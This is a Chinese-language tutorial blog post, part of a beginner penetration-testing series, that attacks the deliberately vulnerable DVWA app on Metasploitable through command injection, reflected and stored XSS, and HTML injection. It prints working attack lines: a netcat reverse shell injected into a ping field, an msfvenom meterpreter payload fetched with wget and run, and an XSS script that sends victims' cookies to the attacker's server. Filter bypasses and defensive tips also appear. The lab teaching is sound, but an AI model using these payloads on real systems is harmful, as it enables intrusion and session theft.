iT邦幫忙

2024 iThome 鐵人賽

DAY 16
0
自我挑戰組

從零開始:資安滲透初探系列 第 16

14-2: 資安滲透初探: 網站應用滲透測試

  • 分享至 

  • xImage
  •  

今天分享的是網站應用滲透測試的第2個部分,
主要介紹的部分是:Command Injection; XSS; HTML Injection

Command Injection過程概述

  1. 開啟Metasploitable:
    • 我們會用Metasploitable當靶機來進行測試,所以要將靶機打開喔。
  2. 初步測試命令注入
    • 我們通過向目標網站提交帶有命令分隔符(如 ;&&)的 IP 地址來測試是否存在命令注入漏洞。
    • 當網站允許我們執行額外命令(如 lswhoami),我們確認該網站存在命令注入漏洞。
  3. 利用 Netcat 進行命令注入
    • 我們使用 Netcat 在目標系統上打開反向 shell,並將其連接到我們的 Kali Linux 機器上,使我們能夠在目標系統上執行任意命令。

具體步驟

  1. 訪問命令注入頁面
    • 我們首先訪問了 Metasploitable 中的 DVWA 應用程式,並將其安全級別設置為低。
      (DVWA的預設帳密在最下面: admin / password)

    • 接著,我們進入了命令注入測試頁面,該頁面允許我們提交 IP 地址來進行 ping 測試。
  2. 測試命令注入
    • 我們輸入 IP 地址後,加上命令分隔符 ;&&,接著加上我們想執行的命令(如 ls -lawhoami)。
    • 成功執行這些命令後,我們確定存在命令注入漏洞。
  3. 設置 Netcat 反向 Shell
    • 我們在 Kali Linux 上設置了一個 Netcat 監聽器,使用命令 nc -lvp 12345,來等待目標系統的連接。

    • 然後,我們在目標網站中輸入以下命令來觸發反向 shell:

      192.168.1.1; nc -e /bin/bash 192.168.1.9 12345
      
      
    • 成功執行後,我們在 Kali Linux 上的 Netcat 監聽器中獲得了目標系統的反向 shell。

小結

通過這種方式,我們成功地在目標系統上執行了命令並獲得了系統的控制權。我們還嘗試了在不同安全級別下進行命令注入,並分析了網站源代碼,發現不同安全級別下,網站對命令的過濾機制。

步驟概述

  1. 生成 Payload
    • 我們首先使用 msfvenom 生成了一個 Python meterpreter 反向 TCP shell payload。這個 payload 將用於在目標系統上創建一個持久的控制會話。
  2. 利用 Apache Web 伺服器托管 Payload
    • 我們使用 Kali Linux 自帶的 Apache2 伺服器來托管這個生成的 Python payload,使得目標系統可以通過 wget 命令下載它。
  3. 下載並執行 Payload
    • 通過命令注入漏洞,我們在目標系統上執行 wget 命令,從我們的 Apache2 伺服器下載 Python payload,並通過 Python 解釋器執行它。
  4. 獲取 Meterpreter Shell
    • 最後,我們設置一個 MSFconsole 監聽器來捕獲反向連接,成功地獲得了目標系統的 Meterpreter shell。

具體步驟

  1. 生成 Python Payload

    msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=6000 -o tester.py
    
    

    這個命令會生成一個名為 tester.py 的 Python payload,當執行這個 payload 時,它會嘗試連接到我們的 Kali Linux 機器上。

  2. 啟動 Apache2 伺服器並托管 Payload

    sudo service apache2 start
    sudo cp tester.py /var/www/html/
    
    

    這會將我們生成的 tester.py 文件複製到 /var/www/html/ 目錄,從而使其可以通過訪問 http://192.168.1.9/tester.py 來下載。

  3. 在目標系統上下載並執行 Payload

    • 使用命令注入漏洞,我們在目標系統的命令注入頁面上輸入以下命令:
      然後執行下載的 tester.py 文件:
      這將在目標系統上執行我們的 Python payload。

      192.168.1.1; wget <http://192.168.1.9/tester.py>
      
      
      python tester.py
      
      
  4. 設置 MSFconsole 監聽器並捕獲連接

    • 在 Kali Linux 上,打開 MSFconsole 並設置監聽器來等待目標系統的連接:

      use exploit/multi/handler
      set payload python/meterpreter/reverse_tcp
      set LHOST 192.168.1.9
      set LPORT 6000
      run
      
      
        ![](https://i.imgur.com/a3CwZa5.png)
      
    • 當目標系統執行 tester.py 時,MSFconsole 將捕獲該連接並提供一個完整的 Meterpreter shell。

小結

通過這種方式,我們成功地利用了命令注入漏洞,在目標系統上獲取了更強大的控制權限。這次我們使用了 Python meterpreter payload,而不是單純的 Netcat shell,這使我們能夠進行更復雜和更有效的滲透測試。

接下來要分享關於反射型跨站腳本攻擊 (Reflected XSS) 的概念及其應用。我們通過使用 DVWA (Damn Vulnerable Web Application) 測試平台展示了如何在網頁上找到並利用反射型 XSS 漏洞來執行 JavaScript 代碼。

反射型 XSS 攻擊的主要步驟

  1. 發現 XSS 漏洞
    • 我們首先在 DVWA 網頁中發現了一個可以輸入用戶名的地方,這是我們攻擊的入口。
    • 我們通過輸入簡單的 JavaScript 代碼 <script>alert('1');</script> 來測試是否能夠觸發 XSS 漏洞。
  2. 利用 XSS 漏洞
    • 在低安全性設置下,我們成功執行了 JavaScript 代碼,彈出了一個對話框,這證明該頁面存在 XSS 漏洞。
    • 在中等安全性設置下,我們發現了基本的輸入過濾,但通過改變輸入的形式(例如使用大寫字母或拆分 script 標籤),我們仍然能夠繞過過濾機制,成功執行 JavaScript 代碼。
  3. 利用 XSS 進行 Cookie 竊取
    • 我們編寫了一段更複雜的 JavaScript 代碼,用於將受害者的 Cookie 發送到我們控制的伺服器上。
    • 我們設置了一個簡單的 Python HTTP 伺服器來接收這些 Cookie,並在受害者訪問我們的惡意鏈接後成功捕獲了他們的 PHP session ID。

具體步驟概述

  1. 測試 XSS 漏洞
    • 進入 DVWA 的反射型 XSS 測試頁面。
    • 在輸入框中輸入簡單的 JavaScript 代碼,如 <script>alert('haha');</script>,查看是否彈出對話框。
  2. 繞過基礎過濾機制
    • 在中等安全性設置下,測試不同形式的輸入,如 <SCRIPT>alert('haha');</SCRIPT> 或分解的 script 標籤,確認是否能繞過過濾機制。
  3. 執行 Cookie 竊取攻擊
    • 設置一個 Python HTTP 伺服器來接收 Cookie:

      python3 -m http.server --bind <kali的ip> 8000
      
      
    • 編寫並輸入以下 JavaScript 代碼來竊取 Cookie:

      <SCRIPT>document.write('<img src="<http://<kali的ip>:8000?cookie='+document.cookie+'>">');</SCRIPT>
      
      
    • 當受害者訪問我們的惡意鏈接後,他們的 Cookie 將被發送到我們的伺服器上。

小結

反射型 XSS 漏洞可能看似簡單,但它們能夠造成嚴重的安全隱患,尤其是在 Cookie 竊取和會話劫持的情況下。通過本次講解,我們學習了如何發現和利用這種漏洞,並瞭解了如何通過創建和使用惡意鏈接來進行攻擊。

儲存型 XSS 攻擊的主要特徵

  1. 持久性
    • 儲存型 XSS 的惡意代碼會被存儲在伺服器上,當其他用戶訪問該頁面時,代碼將自動在他們的瀏覽器中執行,無需點擊任何鏈接。
    • 這使得該類型的攻擊比反射型 XSS 更加危險,因為它可以影響所有訪問該頁面的用戶。
  2. 攻擊場景
    • 儲存型 XSS 通常會發生在有用戶生成內容的網站上,例如評論區、留言板或用戶檔案頁面。如果這些輸入字段沒有適當的過濾,攻擊者就可以注入JavaScript代碼。

儲存型 XSS 的攻擊步驟

  1. 發現並利用 XSS 漏洞
    • 在 DVWA 的儲存型 XSS 測試頁面上,我們首先輸入了一個普通的評論,以了解這個應用程序的行為。
    • 隨後,我們嘗試在評論中注入簡單的JavaScript代碼,如 <script>alert('haha');</script>,發現該代碼在頁面上成功執行,並且每次訪問該頁面時都會重新執行這段代碼。
  2. 提高攻擊難度
    • 當安全級別設定為中等時,網頁對用戶輸入進行了基本的過濾,例如限制了用戶輸入的字符數量並對部分代碼進行過濾。我們通過修改HTML元素的maxLength屬性,繞過了字符數量的限制,並且通過使用大寫字母的 SCRIPT 標籤繞過了過濾,成功執行了惡意代碼。

防禦儲存型 XSS 攻擊的最佳實踐

  1. 對用戶輸入進行嚴格過濾
    • 對所有用戶輸入進行適當的過濾和編碼,尤其是 scriptimg 等可能用於注入惡意代碼的標籤。
  2. 使用現代框架和工具
    • 使用現代的Web開發框架和工具來自動防禦XSS攻擊,例如使用Angular、React等,它們默認會對用戶輸入進行編碼,防止XSS。
  3. 保持系統和應用程序更新
    • 定期更新Web伺服器、應用程序和框架,以確保修復已知的漏洞。

小結

儲存型 XSS 是一種非常危險的攻擊方式,因為它能夠持久存在並影響到所有訪問受感染頁面的用戶。在實際應用中,攻擊者可以利用這一漏洞來竊取用戶的敏感信息,進行釣魚攻擊,甚至劫持用戶會話。通過正確的輸入過濾和編碼,可以有效防止此類攻擊。

接下來要分享關於 HTML 注入(HTML Injection)漏洞,並展示如何利用該漏洞來操控網頁的外觀和行為。HTML 注入與 XSS 類似,但它主要涉及將 HTML 代碼注入到網頁中,而不是 JavaScript 代碼。

HTML 注入的基本概念

HTML 注入是一種網頁漏洞,允許攻擊者將自定義的 HTML 代碼插入到網頁中。如果沒有適當的過濾或轉義,這些代碼將被伺服器解釋並呈現在網頁上。儘管這看似不如 XSS 危險,但它仍然可能造成嚴重的後果,特別是在攻擊者可以修改頁面外觀或將訪問者重定向到惡意網站時。

HTML 注入的潛在影響

  1. 頁面外觀被更改
    • 攻擊者可以使用 HTML 注入來更改頁面的佈局、插入圖片或更改文字內容。這可能導致網站看起來不專業或包含虛假信息,從而損害公司的品牌形象。
  2. 頁面重定向
    • 攻擊者可以將用戶重定向到另一個網站,可能是惡意網站或釣魚網站。這不僅可能造成流量損失,還可能導致用戶安全受損。

演示步驟

  1. 基本 HTML 注入測試
    • 在 DVWA 的 XSS 測試頁面中,我們首先嘗試插入簡單的 HTML 代碼,如 <h1>Test</h1>,以查看網頁是否解釋為 HTML 代碼。結果顯示頁面確實將我們的輸入解釋為 HTML,這證明了存在 HTML 注入漏洞。
  2. 使用 HTML 注入進行頁面重定向
    • 我們進一步展示了如何使用 HTML 注入來將頁面重定向到另一個網站。透過注入 <meta http-equiv="refresh" content="0;url=http://google.com/"> 代碼,頁面自動重定向到指定的 URL,這可能用於將用戶引導至釣魚網站。

防範措施

為了防止 HTML 注入攻擊,網站開發者應該:

  1. 對所有用戶輸入進行適當的過濾和轉義
    • 特別是在顯示用戶生成內容的頁面,應對 <, >, " 等特殊字符進行轉義。
  2. 使用 Content Security Policy (CSP)
    • CSP 是一種 web 安全技術,可幫助檢測和防止某些類型的攻擊,包括 HTML 注入和 XSS。CSP 可以限制網頁中允許執行的腳本和樣式的來源。
  3. 限制輸入長度和內容
    • 像 DVWA 中的例子一樣,通過限制輸入的最大長度和僅允許合法字符來減少注入的可能性。

小結

HTML 注入雖然不如 XSS 常見或危險,但它仍然是一個潛在的漏洞,特別是在攻擊者可以操控頁面外觀或進行頁面重定向的情況下。通過適當的防範措施,可以有效避免這類攻擊對網站造成的危害。


上一篇
14-1: 資安滲透初探: 網站應用滲透測試
下一篇
14-3: 資安滲透初探: 網站應用滲透測試
系列文
從零開始:資安滲透初探27
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言